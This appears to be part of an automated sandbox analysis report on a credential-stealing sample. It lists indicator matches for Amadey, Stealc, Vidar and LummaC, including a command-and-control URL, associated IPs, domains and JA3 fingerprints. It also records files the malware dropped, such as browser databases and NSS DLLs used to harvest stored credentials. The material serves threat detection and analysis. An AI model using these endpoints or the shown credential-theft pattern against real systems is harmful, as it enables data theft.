	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
home.fvtekk5pn.top	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.136.149
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.200.3.13
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.18
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.72
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.22.112.167
	https://app.typeset.com/play/G4WZ1	Get hash	malicious	HTMLPhisher	Browse	2.16.34.8
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.203.77
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.89.179.8
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	n5QCsKJ0CP.exe	Get hash	malicious	RedLine	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	http://ppc-overwatch.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.119.84
	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Get hash	malicious	XWorm	Browse	20.198.119.143 20.198.119.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.119.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143 20.198.119.84
	es.hta	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.143 20.198.119.84
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	20.198.119.143 20.198.119.84
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143 20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\BGDGHJEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKECFIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26761704966022
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumi:Kq+n0JZ91LyKOMq+8iP5GLP/0j
MD5:	D10C88B5174CFD05192184B5C535304A
SHA1:	44D0E0F8F2AFDA3B9681C36DC2B739F52CAC1C09
SHA-256:	FC6A7DD16AD572571D972185B6511237C9723108B71E9379BFA53B65B33DBE33
SHA-512:	580AF15C904D2B9F3F508E972FE7CEFEF50108E0E755E1A77707808CD27C704BD525B3774695B94E18909C33D564BA76DAA3FB2D2611B7B8AD468408B523BB8E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKFBAECBAEGDGDHIEHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAKJEHDBGHIEBGCGDGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAAAKFHIEGDGCAAAEGDGIDAECF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDHIEBAAKJDHIECAAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0a44f9ad-1dfc-4cb5-8305-a1acd912b7ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46339
Entropy (8bit):	6.087925161368319
Encrypted:	false
SSDEEP:	768:WMkbJrT8IeQc5dKRibi1zNtfN9PL8XA0nVY65Dk+bCiojJDSgzMMd6qD47u30T:WMk1rT8H1KrNMY65bFojtSmd6qE7l
MD5:	7EC1BF9BD851ACE9CE77815E7F4DB984
SHA1:	B4CBB089DE06263C7A2B2C36805AD13206F8B626
SHA-256:	CAE45B2D66B0F3E0E19A742067C8E76B6D6177BB1EE39507C77B5416DCC76C2C
SHA-512:	AE0952A8C2F34BF72A8EA5B3053C4C7E8464F2E0774B3E016CC9EEE6272BC0DADAA3C67433C6BB58081CCB53392505CFE2869F0539FA44F49804B1D9A2B8DBA6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376823401935736","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"535c4dd8-c88c-4d71-a2bf-d816c9f19bec"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0c3930c4-2a01-4b33-ad0a-d226a28e51ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095847829508616
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzAi1zNtfNNEpSFAcZHolKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4NKKtSmd6qE7lFoC
MD5:	A13766125DAE3D17D040770B86F06470
SHA1:	5699DDFBD1F780D781C6F635FE42AFE55963A514
SHA-256:	06A9321C2A845B73D8DC98F6BDCA3FE2B8A69A0D016870609043F5E69CA594DF
SHA-512:	64A6DDD7C14606FEF332AEFF77817FB2F8C908462F78512EE65BC2EDD9CC692649D1E0255C3160D8AEA2C14F06EAE9F47BF481857C6023C40ECDF15F44FFAEE0
Malicious:	false
